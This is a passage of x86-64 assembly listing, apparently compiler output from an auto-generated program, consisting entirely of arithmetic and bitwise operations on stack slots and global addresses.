movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e8c34], ax
lea rax, [rsp + 0x1438]
mov qword [rsp + 0xc4e0], rax
movsx eax, word [rsp + 0x143c]
movsx ecx, word [rsp + 0x1314]
sub eax, ecx
mov word [rsp + 0x1458], ax
mov rax, qword [0x1401e8800]
movzx eax, byte [rax]
mov byte [rsp + 0x219], al
movsx eax, byte [rsp + 0xe5]
movsx ecx, byte [rsp + 0x8f]
and eax, ecx
mov rcx, qword [rsp + 0xc138]
mov byte [rcx], al
mov rax, qword [rsp + 0x99c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb838]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x98c8], rax
mov rax, qword [rsp + 0xa738]
mov qword [rsp + 0xc4e8], rax
mov rax, qword [rsp + 0x9b68]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4ff4]
sar eax, cl
mov rcx, qword [rsp + 0xbf70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9620]
mov eax, dword [rax]
mov dword [rsp + 0x5458], eax
lea rax, [0x1401e8888]
mov qword [0x1401e8eb8], rax
movzx eax, word [rsp + 0x122c]
mov rcx, qword [rsp + 0x9d88]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x11f8], ax
movsx eax, word [rsp + 0x1530]
movsx ecx, word [rsp + 0x1464]
xor eax, ecx
mov word [rsp + 0x1638], ax
mov rax, qword [rsp + 0xb930]
movzx eax, byte [rax]
mov byte [rsp + 0x21a], al
mov rax, qword [rsp + 0xa100]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc0e0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1b7], al
mov rax, qword [rsp + 0xa010]
mov rax, qword [rax]
mov qword [rsp + 0xc4f0], rax
mov rax, qword [rsp + 0xa8e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x53e4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f58], eax
mov rax, qword [rsp + 0xb990]
mov rcx, qword [rsp + 0xb300]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc0f0], rax
mov eax, dword [rsp + 0x53e0]
mov dword [rsp + 0x545c], eax
movzx eax, word [rsp + 0x1158]
mov rcx, qword [rsp + 0xbaa8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x123c], ax
lea rax, [rsp + 0x1168]
mov qword [0x1401e8ec0], rax
lea rax, [rsp + 0x13e]
mov qword [rsp + 0xc4f8], rax
movzx eax, byte [rsp + 0xbb]
movzx ecx, byte [0x1401e88c3]
add eax, ecx
mov byte [rsp + 0xda], al
movsx eax, byte [rsp + 0x152]
mov rcx, qword [rsp + 0xc1c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1cb], al
mov eax, dword [rsp + 0x5358]
mov dword [rsp + 0x5460], eax
mov rax, qword [rsp + 0xbdc8]
mov rcx, qword [0x1401e7018]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8fd8]
mov qword [rcx], rax
lea rax, [rsp + 0x90d0]
mov qword [rsp + 0xc500], rax
mov eax, dword [rsp + 0x5110]
mov ecx, dword [rsp + 0x52fc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9678]
mov dword [rcx], eax
lea rax, [rsp + 0xf1]
mov qword [rsp + 0xc508], rax
movsx eax, word [0x1401e8d68]
movsx ecx, word [rsp + 0x1200]
add eax, ecx
mov word [0x1401e70d4], ax
movsx eax, byte [rsp + 0x19a]
movsx ecx, byte [rsp + 0x18c]
add eax, ecx
mov rcx, qword [rsp + 0xc138]
mov byte [rcx], al
movsx eax, word [rsp + 0x13e4]
mov rcx, qword [rsp + 0xb840]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1580], ax
mov rax, qword [rsp + 0xad78]
movzx eax, byte [rax]
mov byte [rsp + 0x21b], al
mov rax, qword [rsp + 0xb570]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4f9c]
shl eax, cl
mov dword [rsp + 0x52d4], eax
lea rax, [rsp + 0xaed8]
mov qword [rsp + 0xc510], rax
mov rax, qword [rsp + 0xb910]
mov ecx, dword [rsp + 0x51dc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x93a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa918]
movzx ecx, al
mov rax, qword [rsp + 0xb710]
sar rax, cl
mov qword [rsp + 0xb678], rax
movzx eax, byte [rsp + 0x126]
mov byte [rsp + 0x21c], al
lea rax, [rsp + 0x1314]
mov qword [0x1401e8ec8], rax
mov rax, qword [rsp + 0xbe48]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9448]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xb4], al
lea rax, [rsp + 0x14b4]
mov qword [rsp + 0xc518], rax
movzx eax, word [rsp + 0x13c4]
movzx ecx, word [rsp + 0x11f0]
add eax, ecx
mov rcx, qword [rsp + 0x9788]
mov word [rcx], ax
mov rax, qword [rsp + 0x8d80]
mov rcx, qword [rsp + 0xc4e8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xab20], rax
mov rax, qword [rsp + 0x93e0]
mov qword [rsp + 0xc520], rax
mov rax, qword [rsp + 0x9af8]
mov ecx, dword [rsp + 0x51d0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9d58]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc4c0]
mov eax, dword [rax]
mov dword [rsp + 0x5464], eax
movsx eax, word [rsp + 0x1570]
mov rcx, qword [rsp + 0xb468]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa860]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe2]
mov rcx, qword [rsp + 0xc3b8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e70b3], al
mov rax, qword [rsp + 0xc358]
movzx eax, byte [rax]
mov byte [rsp + 0x21d], al
mov rax, qword [rsp + 0x9a98]
movzx eax, word [rax]
mov rcx, qword [0x1401e8d80]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9050]
mov word [rcx], ax
mov rax, qword [rsp + 0x9350]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xba98]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xade0]
mov word [rcx], ax
mov rax, qword [rsp + 0xbc38]
movzx eax, word [rax]
mov word [rsp + 0x165c], ax
mov rax, qword [0x1401e7018]
mov rcx, qword [rsp + 0xb568]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8e98], rax
lea rax, [rsp + 0xae10]
mov qword [rsp + 0xc528], rax
mov eax, dword [rsp + 0x4f74]
mov ecx, dword [rsp + 0x52fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4ee4], eax
mov rax, qword [rsp + 0xc360]
mov rcx, qword [rsp + 0xbc80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5420], eax
mov rax, qword [rsp + 0xa460]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1c1]
sub eax, ecx
mov byte [0x1401e87f7], al
lea rax, [rsp + 0x12e]
mov qword [rsp + 0xc530], rax
movzx eax, word [rsp + 0x134c]
movzx ecx, word [rsp + 0x1278]
or eax, ecx
mov rcx, qword [rsp + 0xbc98]
mov word [rcx], ax
movzx eax, word [rsp + 0x14dc]
mov word [rsp + 0x1660], ax
movzx eax, byte [rsp + 0x1c2]
mov rcx, qword [rsp + 0x8f78]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9ce8]
mov byte [rcx], al
mov eax, dword [rsp + 0x5000]
mov ecx, dword [rsp + 0x5404]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4eb4], eax
mov eax, dword [rsp + 0x4e84]
mov dword [rsp + 0x5468], eax
mov rax, qword [rsp + 0xadf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbc10]
mov qword [rsp + 0xc538], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc538]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xb130]
mov qword [rcx], rax
mov rax, qword [0x1401e7018]
mov qword [rsp + 0xc540], rax
movsx eax, word [rsp + 0x1268]
movsx ecx, word [rsp + 0x103c]
and eax, ecx
mov word [0x1401e7190], ax
movzx eax, word [rsp + 0x15dc]
mov rcx, qword [rsp + 0xbe30]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x13a0], ax
movzx eax, byte [0x1401e7046]
movzx ecx, byte [rsp + 0x1c3]
sub eax, ecx
mov byte [rsp + 0x171], al
lea rax, [rsp + 0x187]
mov qword [rsp + 0xc548], rax
movsx eax, word [rsp + 0x1434]
mov rcx, qword [rsp + 0xaa80]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x97b0]
mov word [rcx], ax
lea rax, [rsp + 0x4e6c]
mov qword [rsp + 0xc550], rax
mov rax, qword [rsp + 0xaa20]
mov ecx, dword [rsp + 0x4eac]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5000], eax
lea rax, [rsp + 0xa2c0]
mov qword [rsp + 0xc558], rax
mov rax, qword [rsp + 0x8c50]
mov rax, qword [rax]
mov rcx, qword [0x1401e7018]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9428], rax
movsx eax, byte [rsp + 0xa1]
mov rcx, qword [rsp + 0xa7b0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401e8910]
mov byte [rcx], al
movzx eax, word [rsp + 0x1280]
mov rcx, qword [0x1401e8868]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x147c], ax
lea rax, [rsp + 0x196]
mov qword [rsp + 0xc560], rax
mov rax, qword [rsp + 0x9fc0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd8]
sub eax, ecx
mov byte [rsp + 0x10e], al
movzx eax, word [rsp + 0x12c8]
mov word [rsp + 0x1664], ax
mov rax, qword [rsp + 0xae78]
mov rcx, qword [rsp + 0xb5f0]
mov qword [rsp + 0xc568], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc568]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb898], rax
mov rax, qword [rsp + 0x9cf0]
mov rcx, qword [rsp + 0xb700]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5298], eax
lea rax, [0x1401e7018]
mov qword [rsp + 0xc570], rax
mov rax, qword [rsp + 0x9e30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x52c0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x98c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9f40]
movzx eax, byte [rax]
mov byte [0x1401e88c6], al
mov rax, qword [rsp + 0x9c88]
movzx eax, word [rax]
mov word [rsp + 0x1668], ax
movzx eax, word [rsp + 0x1508]
movzx ecx, word [rsp + 0x1370]
sar eax, cl
mov word [rsp + 0x14dc], ax
mov rax, qword [rsp + 0xad20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1db]
and eax, ecx
mov byte [rsp + 0x89], al
lea rax, [rsp + 0x88]
mov qword [rsp + 0xc578], rax
mov rax, qword [0x1401e8798]
mov rcx, qword [rsp + 0xba58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa670]
mov qword [rcx], rax
lea rax, [rsp + 0x53c0]
mov qword [rsp + 0xc580], rax
mov rax, qword [rsp + 0xb3b0]
mov rcx, qword [rsp + 0xb130]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa030]
mov qword [rcx], rax
lea rax, [rsp + 0x4ea4]
mov qword [rsp + 0xc588], rax
movsx eax, byte [rsp + 0x1b6]
movsx ecx, byte [rsp + 0x80]
add eax, ecx
mov byte [0x1401e70c3], al
mov rax, qword [rsp + 0x9038]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa008]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x124c], ax
movzx eax, byte [rsp + 0x1d7]
movzx ecx, byte [rsp + 0xea]
and eax, ecx
mov byte [rsp + 0x142], al
mov rax, qword [rsp + 0x8ff8]
movzx eax, byte [rax]
mov byte [rsp + 0x21e], al
mov rax, qword [rsp + 0xb128]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb948]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x92d8]
mov word [rcx], ax
lea rax, [rsp + 0x90d0]
mov qword [rsp + 0xc590], rax
mov rax, qword [rsp + 0x9d50]
mov rcx, qword [rsp + 0xbb90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9840]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaa20]
mov ecx, dword [0x1401e7008]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5278], eax
mov rax, qword [rsp + 0x9cc8]
mov qword [rsp + 0xc598], rax
mov rax, qword [rsp + 0xc498]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x97b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401e70cc], ax
movsx eax, byte [rsp + 0x137]
mov rcx, qword [rsp + 0xbf90]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc238]
mov byte [rcx], al
lea rax, [rsp + 0x1588]
mov qword [rsp + 0xc5a0], rax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1474]
shl eax, cl
mov word [rsp + 0x1604], ax
movzx eax, byte [0x1401e87f4]
mov rcx, qword [rsp + 0xb968]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb6f8]
mov byte [rcx], al
lea rax, [rsp + 0x5428]
mov qword [rsp + 0xc5a8], rax
mov rax, qword [rsp + 0xabc8]
mov rcx, qword [rsp + 0xb090]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa6a0], rax
lea rax, [rsp + 0xa780]
mov qword [rsp + 0xc5b0], rax
mov rax, qword [rsp + 0x8ac8]
mov rcx, qword [rsp + 0x97a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x52e4], eax
movzx eax, word [rsp + 0x1514]
mov rcx, qword [rsp + 0xa878]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e8918]
mov word [rcx], ax
movzx eax, byte [0x1401e7077]
movzx ecx, byte [rsp + 0x11e]
sub eax, ecx
mov rcx, qword [rsp + 0xafc8]
mov byte [rcx], al
mov rax, qword [rsp + 0x9c00]
movzx eax, word [rax]
mov word [rsp + 0x166c], ax
movsx eax, word [rsp + 0x1420]
mov rcx, qword [rsp + 0xa860]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x15b8], ax
movzx eax, byte [rsp + 0x1a2]
mov byte [rsp + 0x21f], al
mov rax, qword [rsp + 0xbfa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e40]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa3b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9840]
mov eax, dword [rax]
mov dword [rsp + 0x546c], eax
mov rax, qword [rsp + 0xad08]
mov rcx, qword [rsp + 0xb9d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9fd8], rax
mov rax, qword [rsp + 0xb450]
mov ecx, dword [rsp + 0x5050]
imul ecx, dword [rax]
mov eax, ecx
mov rcx, qword [rsp + 0xba40]
mov dword [rcx], eax
lea rax, [rsp + 0x114c]
mov qword [rsp + 0xc5b8], rax
mov rax, qword [rsp + 0xc488]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9010]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e70c6], al
mov rax, qword [rsp + 0x92d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc3f8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x13bc], ax
movzx eax, byte [rsp + 0x140]
mov byte [rsp + 0x220], al
mov rax, qword [0x1401e87c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa220]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15c8], ax
mov rax, qword [rsp + 0xa030]
mov rcx, qword [rsp + 0x98a0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8af8], rax
mov eax, dword [rsp + 0x4ebc]
mov dword [rsp + 0x5470], eax
mov rax, qword [0x1401e8798]
mov rcx, qword [rsp + 0x95b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xbd90]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaf98]
mov eax, dword [rax]
mov dword [rsp + 0x5474], eax
movsx eax, byte [rsp + 0xd5]
mov rcx, qword [rsp + 0xa078]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x8bf8]
mov byte [rcx], al
mov rax, qword [rsp + 0xa820]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1374]
shl eax, cl
mov rcx, qword [0x1401e8ba8]
mov word [rcx], ax
movzx eax, word [rsp + 0x15f8]
mov rcx, qword [rsp + 0xc258]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xc210]
mov word [rcx], ax
mov rax, qword [rsp + 0x9848]
movzx eax, word [rax]
mov word [rsp + 0x1670], ax
mov rax, qword [rsp + 0xb218]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x10e]
and eax, ecx
mov rcx, qword [rsp + 0xc358]
mov byte [rcx], al
lea rax, [rsp + 0xb1c0]
mov qword [rsp + 0xc5c0], rax
mov rax, qword [rsp + 0xadd0]
mov rcx, qword [rsp + 0xa610]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5428], eax
mov rax, qword [rsp + 0xc420]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f70]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x51dc], eax
lea rax, [rsp + 0xace0]
mov qword [rsp + 0xc5c8], rax
movsx eax, word [rsp + 0x1634]
movsx ecx, word [rsp + 0x14a4]
add eax, ecx
mov word [rsp + 0x15d0], ax
movzx eax, word [rsp + 0x1500]
mov word [0x1401e8ed0], ax
movzx eax, byte [rsp + 0x215]
mov byte [rsp + 0x221], al
mov rax, qword [rsp + 0xbb18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x141]
sub eax, ecx
mov byte [rsp + 0x15e], al
lea rax, [rsp + 0x76]
mov qword [rsp + 0xc5d0], rax
mov rax, qword [rsp + 0x9fa0]
mov rcx, qword [rsp + 0xc038]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbde0], rax
mov rax, qword [rsp + 0xaa50]
mov rcx, qword [rsp + 0xa798]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa5a8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5300]
mov dword [rsp + 0x5478], eax
mov eax, dword [rsp + 0x518c]
mov ecx, dword [rsp + 0x5100]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5020], eax
movzx eax, byte [rsp + 0x20b]
mov byte [rsp + 0x222], al
mov rax, qword [rsp + 0xa4b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8c88]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e7194], ax
mov rax, qword [rsp + 0x8c98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x145c]
shl eax, cl
mov rcx, qword [rsp + 0x9d20]
mov word [rcx], ax
movsx eax, byte [rsp + 0x7c]
mov rcx, qword [rsp + 0xab50]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xa1], al
mov rax, qword [rsp + 0xb178]
movzx eax, byte [rax]
mov byte [rsp + 0x223], al
mov rax, qword [rsp + 0xa7a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc180]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9aa0]
mov word [rcx], ax
mov eax, dword [rsp + 0x5310]
mov dword [rsp + 0x547c], eax
mov rax, qword [0x1401e8798]
mov rcx, qword [rsp + 0xbc30]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb820], rax
mov rax, qword [rsp + 0xb4b8]
mov rcx, qword [rsp + 0x9b20]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa030]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbe90]
mov eax, dword [rax]
mov dword [rsp + 0x5480], eax
movzx eax, byte [rsp + 0x213]
movzx ecx, byte [rsp + 0x71]
and eax, ecx
mov rcx, qword [0x1401e89a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9dc8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1da]
add eax, ecx
mov rcx, qword [rsp + 0xb688]
mov byte [rcx], al
mov rax, qword [0x1401e89c0]
movzx eax, word [rax]
mov word [rsp + 0x1674], ax
movzx eax, byte [rsp + 0x176]
movzx ecx, byte [rsp + 0x108]
add eax, ecx
mov rcx, qword [rsp + 0xa698]
mov byte [rcx], al
lea rax, [rsp + 0x1440]
mov qword [rsp + 0xc5d8], rax
mov rax, qword [rsp + 0x9758]
mov rcx, qword [rsp + 0xaa10]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x99a8], rax
mov rax, qword [rsp + 0x9000]
mov rcx, qword [rsp + 0xa138]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x524c], eax
lea rax, [rsp + 0xa400]
mov qword [rsp + 0xc5e0], rax
mov rax, qword [rsp + 0xb2b8]
mov rcx, qword [rsp + 0x9cd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x5140], eax
mov rax, qword [rsp + 0x9030]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xad28]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e8a48]
mov word [rcx], ax
movzx eax, byte [rsp + 0x101]
mov byte [rsp + 0x224], al
mov rax, qword [0x1401e89b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1434]
add eax, ecx
mov word [rsp + 0x10bc], ax
movsx eax, byte [rsp + 0xc5]
mov rcx, qword [rsp + 0xbf90]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xafa8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x214]
mov byte [rsp + 0x225], al
mov rax, qword [rsp + 0xc1a0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [0x1401e7010]
shl rax, cl
mov qword [rsp + 0xbd08], rax
mov rax, qword [rsp + 0x9b10]
mov qword [rsp + 0xc5e8], rax
mov rax, qword [rsp + 0x9138]
mov rcx, qword [rsp + 0x9dd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4ef4], eax
mov rax, qword [rsp + 0x93c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbd70]
mov qword [rsp + 0xc5f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc5f0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xaf00]
mov dword [rcx], eax
mov rax, qword [rsp + 0xafc8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xac68]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x1401e70c7], al
lea rax, [rsp + 0x12c]
mov qword [rsp + 0xc5f8], rax
movzx eax, word [0x1401e8d88]
movzx ecx, word [rsp + 0x1074]
add eax, ecx
mov word [rsp + 0x13f8], ax
lea rax, [rsp + 0x10e4]
mov qword [rsp + 0xc600], rax
mov rax, qword [rsp + 0x8c60]
movzx eax, word [rax]
mov rcx, qword [0x1401e8b00]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1618], ax
mov rax, qword [rsp + 0xa198]
mov ecx, dword [rsp + 0x4fec]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xbe08]
mov dword [rcx], eax
lea rax, [rsp + 0xb678]
mov qword [rsp + 0xc608], rax
mov rax, qword [rsp + 0xb3c0]
mov rcx, qword [rsp + 0xb640]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc570]
mov qword [rcx], rax
mov rax, qword [rsp + 0x91e8]
mov eax, dword [rax]
mov dword [rsp + 0x5484], eax
movsx eax, word [rsp + 0x13fc]
mov rcx, qword [rsp + 0xc318]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e8820]
mov word [rcx], ax
mov rax, qword [rsp + 0xb800]
movzx eax, word [rax]
movzx ecx, word [0x1401e8c30]
sub eax, ecx
mov rcx, qword [rsp + 0xb118]
mov word [rcx], ax
movzx eax, byte [rsp + 0x103]
mov byte [rsp + 0x226], al
mov rax, qword [rsp + 0xae98]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xba]
sub eax, ecx
mov rcx, qword [rsp + 0xc390]
mov byte [rcx], al
mov rax, qword [rsp + 0xa0c0]
movzx eax, word [rax]
movzx ecx, word [0x1401e8c30]
sub eax, ecx
mov word [rsp + 0x1574], ax
mov rax, qword [rsp + 0xabf8]
mov rax, qword [rax]
mov qword [rsp + 0xc610], rax
mov rax, qword [rsp + 0xa4c0]
mov ecx, dword [rsp + 0x4ff0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5144], eax
lea rax, [rsp + 0x50ec]
mov qword [rsp + 0xc618], rax
mov rax, qword [rsp + 0xc2a0]
mov rax, qword [rax]
mov rcx, qword [0x1401e7010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb6a8], rax
lea rax, [rsp + 0x10d0]
mov qword [0x1401e8ed8], rax
movzx eax, byte [rsp + 0x191]
movzx ecx, byte [rsp + 0xe2]
add eax, ecx
mov rcx, qword [rsp + 0xaa18]
mov byte [rcx], al
lea rax, [rsp + 0x14a]
mov qword [rsp + 0xc620], rax
movzx eax, word [rsp + 0x1628]
mov rcx, qword [rsp + 0xb050]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1618], ax
movzx eax, byte [rsp + 0xe5]
mov byte [rsp + 0x227], al
mov rax, qword [rsp + 0xad30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xac78]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb210]
mov qword [rcx], rax
mov eax, dword [rsp + 0x51c0]
movzx ecx, al
mov eax, dword [rsp + 0x5108]
shl eax, cl
mov dword [rsp + 0x5424], eax
lea rax, [rsp + 0x4fe0]
mov qword [rsp + 0xc628], rax
mov rax, qword [0x1401e8798]
mov rcx, qword [rsp + 0xb520]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xa5c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc2d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1594]
and eax, ecx
mov word [0x1401e7078], ax
lea rax, [rsp + 0x12e4]
mov qword [rsp + 0xc630], rax
mov rax, qword [rsp + 0xa7d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x99d8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9c78]
mov word [rcx], ax
movzx eax, byte [rsp + 0xc6]
mov byte [rsp + 0x228], al
movsx eax, byte [rsp + 0x19b]
movsx ecx, byte [rsp + 0x92]
add eax, ecx
mov rcx, qword [rsp + 0x9720]
mov byte [rcx], al
mov rax, qword [rsp + 0xb228]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8e50]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc000]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5074]
mov dword [rsp + 0x5488], eax
mov rax, qword [rsp + 0xaa20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5134]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5460], eax
mov rax, qword [rsp + 0xc248]
mov rax, qword [rax]
mov qword [rsp + 0xc638], rax
mov rax, qword [rsp + 0xa6a8]
movzx eax, word [rax]
mov word [0x1401e8ee0], ax
movsx eax, word [rsp + 0x1644]
mov rcx, qword [rsp + 0xb148]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x10b8], ax
mov rax, qword [0x1401e89d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9248]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa650]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1c9]
mov byte [rsp + 0x229], al
movzx eax, byte [rsp + 0x127]
mov rcx, qword [rsp + 0x8df0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xac00]
mov byte [rcx], al
mov rax, qword [rsp + 0x9180]
mov qword [rsp + 0xc640], rax
mov rax, qword [rsp + 0x99d0]
mov rcx, qword [rsp + 0xa3e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9850], rax
mov rax, qword [rsp + 0xb270]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ee4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f48], eax
lea rax, [rsp + 0x5098]
mov qword [rsp + 0xc648], rax
movzx eax, byte [rsp + 0x20b]
movzx ecx, byte [rsp + 0x192]
